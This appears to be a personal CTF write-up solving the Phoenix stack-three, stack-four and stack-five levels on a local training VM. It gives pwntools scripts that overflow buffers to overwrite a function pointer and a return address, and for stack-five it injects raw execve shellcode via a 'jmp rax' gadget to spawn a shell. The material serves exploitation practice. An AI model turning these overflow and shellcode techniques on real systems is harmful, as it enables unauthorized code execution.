Recently, there have been both math modeling and the start of school, which is very uncomfortable. Let's take a look at the water entry-level questions from afar. Without a dynamic base address, it's still relatively simple.
(When writing this paragraph, I didn't realize that there would be a probability theory exam next, and I also participated in a ctf campus competition, so...)
stack-three#
Overwrite the data of a function pointer that is about to be called, similar to before.
from pwn import *
shell = ssh("user", "localhost", password="user", port=2222)
s = b"a" * 0x40 + p64(0x40069d)
sh = shell.run(b"/opt/phoenix/amd64/stack-three")
sh.recvlines(1)
sh.sendline(s)
print(sh.recvlines(2))
stack-four#
Overwrite the return address on the stack.
0x648-0x5f0=88
from pwn import *
shell = ssh("user", "localhost", password="user", port=2222)
s = b"a" * 88 + p64(0x40061d)
sh = shell.run(b"/opt/phoenix/amd64/stack-four")
sh.recvlines(1)
sh.sendline(s)
print(sh.recvlines(2))
stack-five#
Need to get a shell. Since the stack is executable, we can use gets to read in the shellcode and overwrite the return address to execute the shellcode.
This process seems perfect, but for some reason, it segfaults after executing two steps on the stack. ASLR has been turned off, and attempts to attach a debugger and unset the GDB environment variable to eliminate changes in the stack address have not made any progress.
Later, I saw another method:

Before calling gets, s is placed in rax. So if we put the shellcode at the beginning, it will be pointed to by rax.
We can use ROP to find a jmp rax
instruction, return there, and then the next step will jump to the shellcode.
from pwn import *
shell = ssh("user", "localhost", password="user", port=2222)
total = 136
sc = b"\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05"
jmp_rax = p64(0x400481)
s = sc+b"a"*(total-len(sc))+jmp_rax
sh = shell.run(b"/opt/phoenix/amd64/stack-five")
sh.recvlines(1)
sh.sendline(s)
sh.interactive()
One more thing, you can use the following command in gef to adjust the number of lines displayed for the stack in the context:
gef config context.nb_lines_stack 30
This way, you don't have to install peda in the virtual machine anymore (having both of them together is very slow).